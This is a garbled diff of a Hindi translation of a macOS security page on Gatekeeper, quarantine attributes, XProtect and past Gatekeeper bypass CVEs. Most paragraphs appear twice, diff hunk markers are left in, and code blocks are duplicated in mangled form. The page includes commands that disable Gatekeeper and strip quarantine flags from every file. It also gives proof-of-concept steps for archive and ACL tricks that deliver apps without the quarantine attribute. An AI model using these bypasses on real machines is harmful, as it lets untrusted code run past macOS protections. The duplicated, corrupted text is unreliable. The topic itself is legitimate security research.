**GateKeeper में नए नियम जोड़ना संभव है जिससे कुछ ऐप्स को निष्पादित करने की अनुमति मिले:**
**GateKeeper में नए नियम जोड़ना संभव है ताकि कुछ एप्लिकेशनों को निष्पादित किया जा सके:**
```bash
# Check if allowed - nop
spctl --assess -v /Applications/App.app
@ -160,29 +147,27 @@ sudo spctl --enable --label "whitelist"
spctl --assess -v /Applications/App.app
/Applications/App.app: accepted
```
### क्वारंटाइन फ़ाइलें
### फ़ाइलों को क्वारंटाइन करें
**एक एप्लिकेशन या फ़ाइल को डाउनलोड** करने पर, विशिष्ट macOS **एप्लिकेशन** जैसे वेब ब्राउज़र या ईमेल क्लाइंट्स **डाउनलोड की गई फ़ाइल के साथ एक विस्तारित फ़ाइल गुणवत्ता** को जो सामान्य रूप से "**क्वारंटाइन झंडा**" के रूप में जाना जाता है, जो फ़ाइल को एक अविश्वसनीय स्रोत (इंटरनेट) से आने के रूप में **चिह्नित करने** के रूप में काम करता है, और संभावित जोखिम लेकर आता है। हालांकि, सभी एप्लिकेशन इस गुणवत्ता को नहीं जोड़ते हैं, उदाहरण के लिए, सामान्य बिटटोरेंट क्लाइंट सॉफ़्टवेयर आम तौर पर इस प्रक्रिया को छोड़ देता है।
**एक एप्लिकेशन या फ़ाइल को डाउनलोड** करने पर, विशिष्ट macOS **एप्लिकेशन** जैसे वेब ब्राउज़र या ईमेल क्लाइंट्स **डाउनलोड की गई फ़ाइल के साथ एक विस्तारित फ़ाइल गुणवत्ता** जो सामान्यत: "**क्वारंटाइन झंडा**" के रूप में जानी जाने वाली एक विशेषता **जोड़ते हैं**। यह गुणवत्ता फ़ाइल को एक सुरक्षा उपाय के रूप में **चिह्नित करती है** कि यह अविश्वसनीय स्रोत (इंटरनेट) से आ रही है, और संभावित जोखिम ले सकती है। हालांकि, सभी एप्लिकेशन इस गुणवत्ता को नहीं जोड़ते, उदाहरण के लिए, सामान्य बिटटोरेंट क्लाइंट सॉफ़्टवेयर आम तौर पर इस प्रक्रिया को छोड़ देते हैं।
**क्वारंटाइन झंडा की मौजूदगी जब एक उपयोगकर्ता फ़ाइल को निष्पादित करने का प्रयास करता है, तो macOS के गेटकीपर सुरक्षा सुविधा को संकेत करती है**।
उस स्थिति में जहां **क्वारंटाइन झंडा मौजूद नहीं है** (कुछ बिटटोरेंट क्लाइंट्स के माध्यम से डाउनलोड की गई फ़ाइलों के साथ), गेटकीपर की **जांचें संपन्न नहीं हो सकती हैं**। इसलिए, उपयोगकर्ताओं को अलर्ट रहना चाहिए जब वे कम सुरक्षित या अज्ञात स्रोतों से डाउनलोड की गई फ़ाइलें खोलते हैं।
उस स्थिति में जहां **क्वारंटाइन झंडा मौजूद नहीं है** (कुछ बिटटोरेंट क्लाइंट्स के माध्यम से डाउनलोड की गई फ़ाइलों के साथ), गेटकीपर की **जांचें संपन्न नहीं की जा सकती हैं**। इसलिए, उपयोगकर्ताओं को सावधानी बरतनी चाहिए जब वे कम सुरक्षित या अज्ञात स्रोतों से डाउनलोड की गई फ़ाइलें खोलते हैं।
{% hint style="info" %}
कोड हस्ताक्षरों की **मान्यता** की **जांच** एक **संसाधन-प्रचुर** प्रक्रिया है जिसमें कोड और उसके सभी संगठित संसाधनों के एन्क्रिप्टेड **हैश** उत्पन्न किए जाते हैं। इसके अतिरिक्त, प्रमाणपत्र की मान्यता की जांच में उसे ऑनलाइन जांचने की आवश्यकता होती है कि क्या यह जारी किए जाने के बाद रद्द कर दिया गया है। इन कारणों से, हर बार जब एक ऐप लॉन्च किया जाता है, पूर्ण कोड हस्ताक्षर और नोटराइजेशन जांच चलाना **अव्यावहारिक है**।
कोड हस्ताक्षरों की **मान्यता** की **जांच** एक **संसाधन-प्रचुर** प्रक्रिया है जिसमें कोड और उसके सभी संगठित संसाधनों के एन्क्रिप्टेड **हैश** उत्पन्न किए जाते हैं। इसके अतिरिक्त, प्रमाणपत्र की मान्यता की जांच में उसे जांचने के लिए ऑनलाइन जांच करना होता है कि यह जारी किए जाने के बाद रद्द कर दिया गया है। इन कारणों से, हर बार जब एक ऐप निष्पादित किया जाता है, एक पूर्ण कोड हस्ताक्षर और नोटराइजेशन जांच **अव्यावहारिक होती है**।
इसलिए, ये जांचें **केवल उस समय चलाई जाती हैं जब किसी ऐप को क्वारंटाइन गुणवत्ता के साथ निष्पादित किया जाता है**
{% endhint %}
{% hint style="warning" %}
यह गुणवत्ता **फ़ाइल बनाने/डाउनलोड करने वाले एप्लिकेशन द्वारा सेट किया जाना चाहिए**।
यह गुणवत्ता **फ़ाइल बनाने/डाउनलोड करने वाले एप्लिकेशन द्वारा सेट की जानी चाहिए**।
हालांकि, सैंडबॉक्स में फ़ाइलें जो हैं, उनके द्वारा बनाई गई हर फ़ाइल के लिए यह गुणवत्ता सेट की जाएगी। और गैर सैंडबॉक्स ऐप्स खुद इसे सेट कर सकते हैं, या [**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information\_property\_list/lsfilequarantineenabled?language=objc) कुंजी को **Info.plist** में निर्दिष्ट कर सकते हैं जिससे सिस्टम `com.apple.quarantine` विस्तारित गुणवत्ता को फ़ाइलों पर सेट कर देगा।
हालांकि, सैंडबॉक्स में फ़ाइलें जो होती हैं, उनके द्वारा बनाई गई हर फ़ाइल के लिए यह गुणवत्ता सेट की जाएगी। और गैर सैंडबॉक्स ऐप्स इसे खुद सेट कर सकते हैं, या [**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information\_property\_list/lsfilequarantineenabled?language=objc) कुंजी को **Info.plist** में निर्दिष्ट कर सकते हैं जिससे सिस्टम `com.apple.quarantine` विस्तारित गुणवत्ता को फ़ाइलों पर सेट कर देगा।
{% endhint %}
इसकी स्थिति की **जांच करना और सक्षम/अक्षम** (रूट की आवश्यकता है) संभव है:
इसकी स्थिति की **जांच करना और सक्षम/अक्षम** (रूट आवश्यक) किया जा सकता है:
```bash
spctl --status
assessments enabled
@ -191,17 +176,13 @@ spctl --enable
spctl --disable
#You can also allow nee identifies to execute code using the binary "spctl"
```
आप निम्नलिखित के साथ **यह भी पता लगा सकते हैं कि क्या एक फ़ाइल के पास क्वारंटाइन विस्तारित विशेषता है**:
आप निम्नलिखित के साथ **यह भी पता लगा सकते हैं कि क्या किसी फ़ाइल में क्वारंटाइन विस्तारित विशेषता** है:
```bash
xattr file.png
com.apple.macl
com.apple.quarantine
```
विस्तारित गुणों की **मान** की जाँच करें और उस ऐप को खोजें जिसने quarantine गुण लिखा है:
```bash
xattr -l portada.png
com.apple.macl:
@ -217,43 +198,78 @@ com.apple.quarantine: 00C1;607842eb;Brave;F643CD5F-6071-46AB-83AB-390BA944DEC5
# Brave -- App
# F643CD5F-6071-46AB-83AB-390BA944DEC5 -- UID assigned to the file downloaded
```
वास्तव में एक प्रक्रिया "उस फ़ाइल पर क्वारंटाइन झंडे सेट कर सकती है जिसे वह बनाती है" (मैंने एक बनाई गई फ़ाइल में USER\_APPROVED झंडा लगाने का प्रयास किया लेकिन यह लागू नहीं होता):
वास्तव में एक प्रक्रिया "उस फ़ाइल पर क्वारंटाइन झंडे सेट कर सकती है जिसे वह बनाती है" (मैंने एक बनाई गई फ़ाइल में USER\_APPROVED झंडा लगाने का प्रयास किया लेकिन यह लागू नहीं होता):
<details>
<summary>स्रोत कोड क्वारंटाइन झंडे लागू करें</summary>
```c
#include <stdio.h>
#include <stdlib.h>
\`\`\`c #include #include
enum qtn_flags {
QTN_FLAG_DOWNLOAD = 0x0001,
QTN_FLAG_SANDBOX = 0x0002,
QTN_FLAG_HARD = 0x0004,
QTN_FLAG_USER_APPROVED = 0x0040,
};
enum qtn\_flags { QTN\_FLAG\_DOWNLOAD = 0x0001, QTN\_FLAG\_SANDBOX = 0x0002, QTN\_FLAG\_HARD = 0x0004, QTN\_FLAG\_USER\_APPROVED = 0x0040, };
#define qtn_proc_alloc _qtn_proc_alloc
#define qtn_proc_apply_to_self _qtn_proc_apply_to_self
#define qtn_proc_free _qtn_proc_free
#define qtn_proc_init _qtn_proc_init
#define qtn_proc_init_with_self _qtn_proc_init_with_self
#define qtn_proc_set_flags _qtn_proc_set_flags
#define qtn_file_alloc _qtn_file_alloc
#define qtn_file_init_with_path _qtn_file_init_with_path
#define qtn_file_free _qtn_file_free
#define qtn_file_apply_to_path _qtn_file_apply_to_path
#define qtn_file_set_flags _qtn_file_set_flags
#define qtn_file_get_flags _qtn_file_get_flags
#define qtn_proc_set_identifier _qtn_proc_set_identifier
\#define qtn\_proc\_alloc \_qtn\_proc\_alloc #define qtn\_proc\_apply\_to\_self \_qtn\_proc\_apply\_to\_self #define qtn\_proc\_free \_qtn\_proc\_free #define qtn\_proc\_init \_qtn\_proc\_init #define qtn\_proc\_init\_with\_self \_qtn\_proc\_init\_with\_self #define qtn\_proc\_set\_flags \_qtn\_proc\_set\_flags #define qtn\_file\_alloc \_qtn\_file\_alloc #define qtn\_file\_init\_with\_path \_qtn\_file\_init\_with\_path #define qtn\_file\_free \_qtn\_file\_free #define qtn\_file\_apply\_to\_path \_qtn\_file\_apply\_to\_path #define qtn\_file\_set\_flags \_qtn\_file\_set\_flags #define qtn\_file\_get\_flags \_qtn\_file\_get\_flags #define qtn\_proc\_set\_identifier \_qtn\_proc\_set\_identifier
typedef struct _qtn_proc *qtn_proc_t;
typedef struct _qtn_file *qtn_file_t;
typedef struct \_qtn\_proc \*qtn\_proc\_t; typedef struct \_qtn\_file \*qtn\_file\_t;
int qtn\_proc\_apply\_to\_self(qtn\_proc\_t); void qtn\_proc\_init(qtn\_proc\_t); int qtn\_proc\_init\_with\_self(qtn\_proc\_t); int qtn\_proc\_set\_flags(qtn\_proc\_t, uint32\_t flags); qtn\_proc\_t qtn\_proc\_alloc(); void qtn\_proc\_free(qtn\_proc\_t); qtn\_file\_t qtn\_file\_alloc(void); void qtn\_file\_free(qtn\_file\_t qf); int qtn\_file\_set\_flags(qtn\_file\_t qf, uint32\_t flags); uint32\_t qtn\_file\_get\_flags(qtn\_file\_t qf); int qtn\_file\_apply\_to\_path(qtn\_file\_t qf, const char \*path); int qtn\_file\_init\_with\_path(qtn\_file\_t qf, const char _path); int qtn\_proc\_set\_identifier(qtn\_proc\_t qp, const char_ bundleid);
int qtn_proc_apply_to_self(qtn_proc_t);
void qtn_proc_init(qtn_proc_t);
int qtn_proc_init_with_self(qtn_proc_t);
int qtn_proc_set_flags(qtn_proc_t, uint32_t flags);
qtn_proc_t qtn_proc_alloc();
void qtn_proc_free(qtn_proc_t);
qtn_file_t qtn_file_alloc(void);
void qtn_file_free(qtn_file_t qf);
int qtn_file_set_flags(qtn_file_t qf, uint32_t flags);
uint32_t qtn_file_get_flags(qtn_file_t qf);
int qtn_file_apply_to_path(qtn_file_t qf, const char *path);
int qtn_file_init_with_path(qtn_file_t qf, const char *path);
int qtn_proc_set_identifier(qtn_proc_t qp, const char* bundleid);
int main() {
qtn\_proc\_t qp = qtn\_proc\_alloc(); qtn\_proc\_set\_identifier(qp, "xyz.hacktricks.qa"); qtn\_proc\_set\_flags(qp, QTN\_FLAG\_DOWNLOAD | QTN\_FLAG\_USER\_APPROVED); qtn\_proc\_apply\_to\_self(qp); qtn\_proc\_free(qp);
qtn_proc_t qp = qtn_proc_alloc();
qtn_proc_set_identifier(qp, "xyz.hacktricks.qa");
qtn_proc_set_flags(qp, QTN_FLAG_DOWNLOAD | QTN_FLAG_USER_APPROVED);
qtn_proc_apply_to_self(qp);
qtn_proc_free(qp);
FILE \*fp; fp = fopen("thisisquarantined.txt", "w+"); fprintf(fp, "Hello Quarantine\n"); fclose(fp);
FILE *fp;
fp = fopen("thisisquarantined.txt", "w+");
fprintf(fp, "Hello Quarantine\n");
fclose(fp);
return 0;
}
````
```
</details>
और **उस** गुण को इस प्रकार हटाएँ:
और **उस गुण को** इस प्रकार हटाएँ:
```bash
xattr -d com.apple.quarantine portada.png
#You can also remove this attribute from every file with
find . -iname '*' -print0 | xargs -0 xattr -d com.apple.quarantine
````
```
और सभी क्वारंटाइंड फ़ाइलें खोजें:
{% code overflow="wrap" %}
@ -262,124 +278,119 @@ find / -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; pri
```
{% endcode %}
क्वारंटाइन जानकारी भी एक केंद्रीय डेटाबेस में संग्रहित होती है जिसे लॉन्च सेवाओं द्वारा प्रबंधित किया जाता है **`~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**
क्वारंटाइन जानकारी भी **`~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`** में लॉन्चसर्विसेस द्वारा प्रबंधित एक केंद्रीय डेटाबेस में संग्रहित होती है।
**Quarantine.kext**
#### **Quarantine.kext**
कर्नेल एक्सटेंशन केवल **सिस्टम पर कर्नेल कैश के माध्यम से** उपलब्ध है; हालांकि, आप **https://developer.apple.com/** से कर्नेल डीबग किट डाउनलोड कर सकते हैं, जिसमें एक सिम्बोलिकेटेड संस्करण शामिल होगा।
#### XProtect
### XProtect
XProtect एक बिल्ट-इन **एंटी-मैलवेयर** सुविधा है macOS में। XProtect **जाने मनेलवेयर और असुरक्षित फ़ाइल प्रकारों के डेटाबेस के खिलाफ किसी भी एप्लिकेशन की जांच करता है जब यह पहली बार लॉन्च किया जाता है या संशोधित किया जाता है**। जब आप किसी फ़ाइल को कुछ ऐप्स के माध्यम से डाउनलोड करते हैं, जैसे Safari, Mail, या Messages, XProtect स्वचालित रूप से फ़ाइल की जांच करता है। अगर यह अपने डेटाबेस में किसी भी जाने मनेलवेयर से मेल खाता है, तो XProtect फ़ाइल को चलाने से **रोकेगा** और आपको खतरे के बारे में सूचित करेगा।
XProtect मैकओएस में एक निर्देशित **एंटी-मैलवेयर** सुविधा है। XProtect **जाना मलवेयर और असुरक्षित फ़ाइल प्रकारों के डेटाबेस के खिलाफ किसी भी एप्लिकेशन की जांच करता है जब यह पहली बार लॉन्च किया जाता है या संशोधित किया जाता है**। जब आप किसी फ़ाइल को कुछ ऐप्स के माध्यम से डाउनलोड करते हैं, जैसे Safari, Mail, या Messages, XProtect स्वचालित रूप से फ़ाइल की जांच करता है। अगर यह अपने डेटाबेस में किसी भी जाना मलवेयर से मेल खाता है, तो XProtect **फ़ाइल को चलाने से रोकेगा** और आपको खतरे के बारे में सूचित करेगा।
XProtect डेटाबेस को Apple नियमित रूप से **नए मलवेयर परिभाषाओं** के साथ अपडेट किया जाता है, और ये अपडेट आपके Mac पर स्वचालित रूप से डाउनलोड और स्थापित किए जाते हैं। इससे यह सुनिश्चित होता है कि XProtect हमेशा नवीनतम जाने माने खतरों के साथ अप-टू-डेट है।
XProtect डेटाबेस को **नए मलवेयर परिभाषाओं के साथ नियमित रूप से** Apple द्वारा अपडेट किया जाता है, और ये अपडेट आपके मैक पर स्वचालित रूप से डाउनलोड और स्थापित किए जाते हैं। इससे यह सुनिश्चित होता है कि XProtect हमेशा नवीनतम जाने गए खतरों के साथ अप-टू-डेट है।
हालांकि, यह ध्यान देने योग्य है कि **XProtect एक पूर्ण-विशेषज्ञ एंटीवायरस समाधान नहीं है**। यह केवल जाने माने खतरों की एक विशिष्ट सूची के लिए जांच करता है और अधिगम-पहुंच स्कैनिंग जैसा कि अधिकांश एंटीवायरस सॉफ़्टवेयर नहीं करता है।
हालांकि, यह ध्यान देने योग्य है कि **XProtect एक पूर्ण विशेषज्ञ एंटीवायरस समाधान नहीं है**। यह केवल निश्चित सूची के जाने गए खतरों की जांच करता है और अधिकांश एंटीवायरस सॉफ़्टवेयर की तरह ऑन-एक्सेस स्कैनिंग नहीं करता है।
आप नवीनतम XProtect अपड
आप नवीनतम XProtect अपडेट के बारे में जानकारी प्राप्त कर सकते हैं:
{% code overflow="wrap" %}
```bash
system_profiler SPInstallHistoryDataType 2>/dev/null | grep -A 4 "XProtectPlistConfigData" | tail -n 5
```
{% endcode %}
XProtect स्थित है। SIP सुरक्षित स्थान पर **/Library/Apple/System/Library/CoreServices/XProtect.bundle** और बंडल के अंदर आप जानकारी पा सकते हैं जिसका XProtect उपयोग करता है:
XProtect स्थित है। SIP सुरक्षित स्थान पर **/Library/Apple/System/Library/CoreServices/XProtect.bundle** और बंडल के अंदर आपको जानकारी मिलेगी जिसका XProtect उपयोग करता है:
* **`XProtect.bundle/Contents/Resources/LegacyEntitlementAllowlist.plist`**: उन cdhashes के साथ कोड को पुरानी अधिकारों की अनुमति देने के लिए
* **`XProtect.bundle/Contents/Resources/LegacyEntitlementAllowlist.plist`**: उन cdhashes के साथ कोड को पुरानी अधिकारों की अनुमति देने देता है
* **`XProtect.bundle/Contents/Resources/XProtect.meta.plist`**: BundleID और TeamID के माध्यम से लोड करने की अनुमति नहीं देने वाले प्लगइन और एक्सटेंशन की सूची या न्यूनतम संस्करण को दर्शाने वाली सूची।
* **`XProtect.bundle/Contents/Resources/XProtect.yara`**: मैलवेयर का पता लगाने के लिए यारा नियम।
* **`XProtect.bundle/Contents/Resources/gk.db`**: ब्लॉक किए गए एप्लिकेशन और TeamIDs के हैश के साथ SQLite3 डेटाबेस।
ध्यान दें कि **`/Library/Apple/System/Library/CoreServices/XProtect.app`** में एक और ऐप है जो XProtect से संबंधित है जो Gatekeeper प्रक्रिया के साथ संलग्न नहीं है।
#### गेटकीपर नहीं
### गेटकीपर नहीं
ध्यान दें कि गेटकीपर **हर बार नहीं चलाया जाता** है जब आप कोई एप्लिकेशन चलाते हैं, केवल _**AppleMobileFileIntegrity**_ (AMFI) केवल **निर्वाचनीय कोड हस्ताक्षरों की पुष्टि** करेगा जब आप एक एप्लिकेशन चलाते हैं जो पहले से ही गेटकीपर द्वारा सत्यापित और सत्यापित किया गया है।
{% hint style="danger" %}
ध्यान दें कि गेटकीपर **हर बार नहीं चलाया जाता** है जब आप कोई एप्लिकेशन चलाते हैं, बस _**AppleMobileFileIntegrity**_ (AMFI) केवल तब **निर्वाचनीय कोड हस्ताक्षरों की पुष्टि** करेगा जब आप एक एप्लिकेशन चलाते हैं जिसे पहले से ही गेटकीपर द्वारा पुष्टि की गई है।
{% endhint %}
इसलिए, पहले एक ऐप को चलाने के लिए इसे कैश करना संभव था, फिर **एप्लिकेशन के अभिक्रिय फ़ाइलों को संशोधित करना** (जैसे Electron asar या NIB फ़ाइलें) और अगर कोई अन्य सुरक्षा उपाय नहीं थे, तो ऐप्लिकेशन **को** **दुर्भाग्यपूर्ण** जोड़ों के साथ **चलाया** जाता था।
इसलिए, पहले एक एप्लिकेशन को गेटकीपर के साथ कैश करने के लिए चलाना संभव था, फिर **एप्लिकेशन के अभिक्रिय फ़ाइलों को संशोधित करना** (जैसे Electron asar या NIB फ़ाइलें) और अगर कोई अन्य सुरक्षा उपाय नहीं थे, तो एप्लिकेशन **को** **दुर्भाग्यपूर्ण** **जोड़ों के साथ चलाया गया था।**
हालांकि, अब यह संभव नहीं है क्योंकि macOS **एप्लिकेशन बंडल के अंदर फ़ाइलों को संशोधित करने से रोकता है** इसलिए, यदि आप [डर्टी NIB](../macos-proces-abuse/macos-dirty-nib.md) हमला करने का प्रयास करते हैं, तो आपको पाया जाएगा कि यह अब संभव नहीं है क्योंकि गेटकीपर द्वारा इसे कैश करने के बाद, आप बंडल को संशोधित नहीं कर पाएंगे। और यदि आप उदाहरण के लिए Contents निर्देशिका का नाम NotCon में बदलते हैं (हमले में इंगित किया गया है), और फिर ऐप के मुख्य बाइनरी को चलाने के लिए गेटकीपर के साथ इसे कैश करने का प्रयास करते हैं, तो यह एक त्रुटि को ट्रिगर करेगा और नहीं चलाएगा।
हालांकि, अब यह संभव नहीं है क्योंकि macOS **एप्लिकेशन बंडल के अंदर फ़ाइलों को संशोधित करने से रोकता है** इसलिए, यदि आप [डर्टी NIB](../macos-proces-abuse/macos-dirty-nib.md) हमला करने की कोशिश करते हैं, तो आपको पाया जाएगा कि इसे उसे दुरुस्त करना संभव नहीं है क्योंकि गेटकीपर द्वारा पुष्टि करने के लिए एप्लिकेशन को कैश करने के बाद, आप बंडल को संशोधित नहीं कर पाएंगे। और यदि आप उदाहरण के लिए Contents निर्देशिका का नाम NotCon में बदलते हैं (जैसा कि उत्पादन में इंडिकेट किया गया है), और फिर एप्लिकेशन के मुख्य BINARY को गेटकीपर के साथ कैश करने के लिए चलाते हैं, तो यह एक त्रुटि को ट्रिगर करेगा और नहीं चलाएगा।
### गेटकीपर बायपास
## गेटकीपर बायपास
गेटकीपर को बायपास करने का कोई भी तरीका (उपयोगकर्ता को कुछ डाउनलोड करने और गेटकीपर द्वारा इसे निषेधित करने पर उसे चलाने में सफलता प्राप्त करने की क्षमता) macOS में एक सुरक्षा गड़बड़ है। ये कुछ CVE हैं जिन्हें उन तकनीकों के लिए सौंपा गया था जिनसे पिछले में गेटकीपर को बायपास करने की अनुमति थी:
गेटकीपर को बायपास करने का कोई भी तरीका (उपयोगकर्ता को कुछ डाउनलोड करने और गेटकीपर द्वारा इसे निषेधित करने पर भी इसे चलाने में सफल होना) macOS में एक सुरक्षा दोष के रूप में माना जाता है। ये कुछ CVEs हैं जिन्हें उन तकनीकों के लिए निर्धारित किया गया था जिनसे पिछले में गेटकीपर को बायपास करने की अनुमति थी:
#### [CVE-2021-1810](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810)
### [CVE-2021-1810](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810)
यह देखा गया कि यदि **आर्काइव यूटिलिटी** का उपयोग निकालने के लिए किया जाता है, तो **886 वर्णों से अधिक रास्ते वाली फ़ाइलें** को com.apple.quarantine विस्तारित विशेषता प्राप्त नहीं होती है। यह स्थिति अनजाने में उन फ़ाइलों को **गेटकीपर की** सुरक्षा जांचों से **छलने** देती है।
यह देखा गया कि यदि **आर्काइव यूटिलिटी** का उपयोग निकालने के लिए किया जाता है, तो **886 वर्णों से अधिक पथ वाली** फ़ाइलों को com.apple.quarantine विस्तारित विशेषता प्राप्त नहीं होती। यह स्थिति अनजाने में उन फ़ाइलों को **गेटकीपर की** सुरक्षा जांचों से **छलने** देती है।
अधिक जानकारी के लिए [**मूल रिपोर्ट**](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810) देखें।
#### [CVE-2021-30990](https://ronmasas.com/posts/bypass-macos-gatekeeper)
### [CVE-2021-30990](https://ronmasas.com/posts/bypass-macos-gatekeeper)
जब कोई एप्लिकेशन **Automator** के साथ बनाया जाता है, तो उसके बारे में जो जानकारी होती है कि वह क्या करने के लिए आवश्यक है, वह `application.app/Contents/document.wflow` में होती है न कि एक्जीक्यूटेबल में। एक्जीक्यूटेबल सिर्फ एक सामान्य Automator बाइनरी होता है जिसे **Automator Application Stub** कहा जाता है।
जब कोई एप्लिकेशन **Automator** के साथ बनाया जाता है, तो उसके बारे में जो जानकारी होती है कि वह क्या करने की आवश्यकता है, वह `application.app/Contents/document.wflow` में होती है न कि एक्जीक्यूटेबल में। एक्जीक्यूटेबल सिर्फ एक सामान्य Automator बाइनरी होता है जिसे **Automator Application Stub** कहा जाता है।
इसलिए, आप `application.app/Contents/MacOS/Automator\ Application\ Stub` को **एक सिम्बॉलिक लिंक के साथ अन्य Automator Application Stub की ओर पॉइंट कर सकते हैं** और यह `document.wflow` (आपका स्क्रिप्ट) को **गेटकीपर को ट्रिगर किए बिना** चलाएगा क्योंकि वास्तविक एक्जीक्यूटेबल के पास क्वारंटाइन xattr नहीं है।
उम्मीद की जाने वाली स्थान: `/System/Library/CoreServices/Automator\ Application\ Stub.app/Contents/MacOS/Automator\ Application\ Stub`
उम्मीद की जाने वाली स्थान का उदाहरण: `/System/Library/CoreServices/Automator\ Application\ Stub.app/Contents/MacOS/Automator\ Application\ Stub`
अधिक जानकारी के लिए [**मूल रिपोर्ट**](https://ronmasas.com/posts/bypass-macos-gatekeeper) देखें।
#### [CVE-2022-22616](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/)
इस बायपास में एक zip फ़ाइल बनाई गई थी जिसमें एक एप्लिकेशन को `application.app/Contents` से शुरू करके संक्षेपित करना शुरू किया गया था न कि `application.app` से। इसलिए, **क्वारंटाइन एट्रिब्यूट** सभी **फ़ाइलों पर लागू हो गया था `application.app/Contents` से** लेकिन **`application.app` पर नहीं**, जिसे गेटकीपर जांच रहा था, इसलिए गेटकीपर को बायपास किया गया क्योंकि जब `application.app` ट्रिगर होता तो उसमें **क्वारंटाइन एट्रिब्यूट नहीं था**
### [CVE-2022-22616](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/)
इस बायपास में एक zip फ़ाइल बनाई गई थी जिसमें एक एप्लिकेशन को `application.app/Contents` से शुरू करने की शुरुआत की गई थी बजाय `application.app` से। इसलिए, **क्वारंटाइन एट्रिब्यूट** सभी **फ़ाइलों पर लागू हो गया था `application.app/Contents`** लेकिन **`application.app` पर नहीं**, जिसे गेटकीपर जांच थी, इसलिए गेटकीपर को बायपास कर दिया गया क्योंकि जब `application.app` ट्रिगर होता है तो उसमें **क्वारंटाइन एट्रिब्यूट नहीं होता था।**
```bash
zip -r test.app/Contents test.zip
```
अधिक जानकारी के लिए [**मूल रिपोर्ट**](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/) देखें।
#### [CVE-2022-32910](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-32910)
हालांकि घटक अलग हैं, इस वंरुल्नरबिलिटी का शोषण पिछले वाले के बहुत ही समान है। इस मामले में हम **`application.app/Contents`** से एक Apple Archive उत्पन्न करेंगे ताकि **Archive Utility** द्वारा अनज़िप करने पर **`application.app` को क्वारंटाइन एट्रिब्यूट नहीं मिलेगा**।
### [CVE-2022-32910](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-32910)
हालांकि घटक भिन्न हैं, इस वंरुल्नरबिलिटी का शोषण पिछले वाले के बहुत ही समान है। इस मामले में हम **`application.app/Contents`** से एक Apple Archive उत्पन्न करेंगे ताकि **`application.app` को जब **Archive Utility** द्वारा अनआर्किव किया जाए, तो वह क्वारंटाइन एट्रिब्यूट न मिले।
```bash
aa archive -d test.app/Contents -o test.app.aar
```
अधिक जानकारी के लिए [**मौलिक रिपोर्ट**](https://www.jamf.com/blog/jamf-threat-labs-macos-archive-utility-vulnerability/) की जाँच करें।
अधिक जानकारी के लिए [**मूल रिपोर्ट**](https://www.jamf.com/blog/jamf-threat-labs-macos-archive-utility-vulnerability/) देखें।
#### [CVE-2022-42821](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/)
### [CVE-2022-42821](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/)
ACL **`writeextattr`** का उपयोग किसी भी व्यक्ति को फ़ाइल में एक गुण लिखने से रोकने के लिए किया जा सकता है:
```bash
touch /tmp/no-attr
chmod +a "everyone deny writeextattr" /tmp/no-attr
xattr -w attrname vale /tmp/no-attr
xattr: [Errno 13] Permission denied: '/tmp/no-attr'
```
इसके अतिरिक्त, **AppleDouble** फ़ाइल प्रारूप एक फ़ाइल की प्रतिलिपि बनाता है जिसमें उसके ACEs शामिल होते हैं।
[**स्रोत कोड**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) में देखा जा सकता है कि ACL पाठ प्रतिनिधित्व **`com.apple.acl.text`** नामक xattr के अंदर संग्रहीत है और यह डीकंप्रेस की गई फ़ाइल में ACL के रूप में सेट किया जाएगा। इसलिए, यदि आपने एक एप्लिकेशन को एक zip फ़ाइल में **AppleDouble** फ़ाइल प्रारूप के साथ संकुचित किया है जिसमें एक ACL है जो इसे लिखने से रोकता है... तो quarantine xattr एप्लिकेशन में सेट नहीं हुआ था:
[**स्रोत कोड**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) में देखा जा सकता है कि ACL पाठ प्रतिनिधित्व **`com.apple.acl.text`** नामक xattr के अंदर संग्रहीत किया जाएगा और इसे डीकंप्रेस की गई फ़ाइल में ACL के रूप में सेट किया जाएगा। इसलिए, अगर आपने एक एप्लिकेशन को एक zip फ़ाइल में **AppleDouble** फ़ाइल प्रारूप के साथ संकुचित किया है जिसमें एक ACL है जो इसे लिखने से रोकता है... तो quarantine xattr एप्लिकेशन में सेट नहीं हुआ था:
```bash
chmod +a "everyone deny write,writeattr,writeextattr" /tmp/test
ditto -c -k test test.zip
python3 -m http.server
# Download the zip from the browser and decompress it, the file should be without a quarantine xattr
```
{% endcode %}
अधिक जानकारी के लिए [**मूल रिपोर्ट**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) की जाँच करें।
ध्यान दें कि यह AppleArchives के साथ भी उत्पन्न किया जा सकता है:
```bash
mkdir app
touch app/test
chmod +a "everyone deny write,writeattr,writeextattr" app/test
aa archive -d app -o test.aar
```
### [CVE-2023-27943](https://blog.f-secure.com/discovery-of-gatekeeper-bypass-cve-2023-27943/)
#### [CVE-2023-27943](https://blog.f-secure.com/discovery-of-gatekeeper-bypass-cve-2023-27943/)
यह पाया गया कि **Google Chrome डाउनलोड की गई फ़ाइलों में quarantine विशेषता सेट नहीं कर रहा था** क्योंकि कुछ macOS आंतरिक समस्याओं के कारण।
पाया गया कि **Google Chrome डाउनलोड की गई फ़ाइलों में quarantine विशेषता सेट नहीं कर रहा था** क्योंकि कुछ macOS आंतरिक समस्याओं के कारण।
#### [CVE-2023-27951](https://redcanary.com/blog/gatekeeper-bypass-vulnerabilities/)
